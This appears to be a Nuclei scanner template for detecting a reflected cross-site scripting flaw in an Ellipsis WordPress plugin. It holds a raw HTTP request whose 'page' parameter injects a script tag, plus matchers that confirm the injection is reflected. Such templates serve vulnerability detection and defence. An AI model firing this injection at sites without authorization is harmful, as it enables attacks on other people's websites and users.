id: wp-ellipsis-xss

info:
  name: Ellipsis Human Presence Technology <= 2.0.8 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The 'page' GET parameter of the inc/protected-forms-table.php file was affected by a reflected XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c0a138d8-93ac-463c-b650-d849352c0b44
    - https://packetstormsecurity.com/files/154393/
    - https://wordpress.org/plugins/ellipsis-human-presence-technology/
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/ellipsis-human-presence-technology/"
  tags: wpscan,packetstorm,wordpress,wp-plugin,ellipsis-human-presence-technology,xss

http:
  - raw:
      - |
        GET /wp-content/plugins/ellipsis-human-presence-technology/inc/protected-forms-table.php?&page=%22%20%3E%3Cscript%3Ealert(document.location)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.location)</script>'
          - '<form id="protected-forms-table"'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
# digest: 4a0a0047304502210083d82e9672fccb1abd9c9a0ca1fa67236b0bc0f0722eaa79952638daca89ef0a022057bc758727812062bff21f2c7cc170af18de83c5563f3631e834d8ac10f1ee64:922c64590222798bb761d5b6d8e72950